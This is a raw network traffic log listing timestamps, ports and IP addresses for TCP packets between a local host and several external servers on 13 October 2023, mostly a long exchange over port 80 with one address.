Oct 13, 2023 16:06:19.705132961 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.705193996 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.705306053 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.705368042 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.751811981 CEST	80	49793	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:19.751940966 CEST	49793	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.754532099 CEST	80	49799	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:19.754650116 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.778901100 CEST	49796	443	192.168.2.4	142.250.72.238
Oct 13, 2023 16:06:19.778975964 CEST	443	49796	142.250.72.238	192.168.2.4
Oct 13, 2023 16:06:19.779805899 CEST	49795	443	192.168.2.4	172.217.14.109
Oct 13, 2023 16:06:19.779841900 CEST	443	49795	172.217.14.109	192.168.2.4
Oct 13, 2023 16:06:19.791039944 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:19.913600922 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.913829088 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:19.913856030 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.914882898 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.914956093 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:19.916088104 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:19.916147947 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.916244030 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:19.916258097 CEST	443	49798	148.251.234.93	192.168.2.4
Oct 13, 2023 16:06:19.977173090 CEST	49798	443	192.168.2.4	148.251.234.93
Oct 13, 2023 16:06:19.994746923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.994776964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.994837999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.994838953 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.994868040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.994873047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.994880915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.994909048 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.994972944 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995009899 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995054007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995093107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995140076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995177984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995249987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995289087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995327950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995368004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995448112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995487928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995516062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995556116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995620966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995661020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995673895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995743036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995786905 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995826006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995874882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995914936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.995953083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.995991945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996028900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996069908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996107101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996146917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996244907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996284962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996355057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996393919 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996421099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996465921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996511936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996552944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996596098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996634007 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996675014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996714115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996808052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996845961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.996937990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996978045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.996998072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997009993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997067928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997107029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997180939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997221947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997270107 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997318029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997370958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997411013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997431040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997469902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997541904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997581959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997611046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997651100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997714996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997752905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997821093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997859955 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997893095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.997929096 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.997967005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998006105 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998028994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998061895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998066902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998101950 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998153925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998198032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998234034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998270988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998271942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998317957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998383045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998421907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998533964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998573065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998625040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998662949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998704910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998740911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998800993 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998840094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998882055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.998919964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.998975992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999015093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999041080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999078035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999102116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999140978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999182940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999218941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999244928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999281883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999305010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999324083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999346018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999358892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999373913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999412060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999454021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999494076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999550104 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999591112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999645948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999685049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999747992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999785900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999814034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999851942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999893904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999911070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:19.999936104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999948978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:19.999979973 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000015020 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000057936 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000097036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000148058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000185966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000207901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000262022 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000339031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000380993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000410080 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000463009 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000500917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000545025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000560999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000598907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000639915 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000677109 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000788927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000828028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000830889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000874043 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.000901937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.000942945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001061916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001099110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001112938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001153946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001182079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001220942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001313925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001351118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001391888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001430035 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001458883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001496077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001538038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001580000 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001653910 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001692057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001737118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001770973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001868010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.001905918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.001976967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002012968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002077103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002120018 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002156019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002196074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002288103 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002325058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002419949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002461910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002567053 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002614021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002644062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002681017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002748966 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002784967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002860069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002897024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.002902031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.002939939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003004074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003046036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003092051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003130913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003213882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003254890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003293991 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003330946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003366947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003405094 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003472090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003509998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003546000 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003585100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003621101 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003659010 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003717899 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003760099 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003773928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003813028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003848076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.003885984 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.003973007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004013062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004050016 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004091978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004127026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004168987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004205942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004244089 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004309893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004350901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004388094 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004426956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004431009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004468918 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004503965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004542112 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004549980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004590034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004637957 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004677057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004729033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004769087 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004832029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004885912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.004925013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.004965067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005001068 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005045891 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005084038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005121946 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005167007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005207062 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005280018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005321980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005363941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005404949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005485058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005531073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005604982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005670071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005700111 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005738974 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005774021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005812883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005868912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005908966 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005913019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.005951881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.005987883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006025076 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006061077 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006097078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006099939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006134033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006148100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006184101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006194115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006231070 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006258965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006308079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006314039 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006351948 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006375074 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006412983 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006458998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006496906 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006551981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006589890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006649971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006689072 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006752014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006791115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006844044 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006880999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.006947994 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.006987095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007023096 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007059097 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007133007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007170916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007205009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007241964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007510900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007555008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007673979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007714033 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007750034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007786989 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007822990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007863998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007926941 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.007973909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.007993937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008033037 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.008102894 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.008142948 CEST	49762	80	192.168.2.4	91.215.85.17
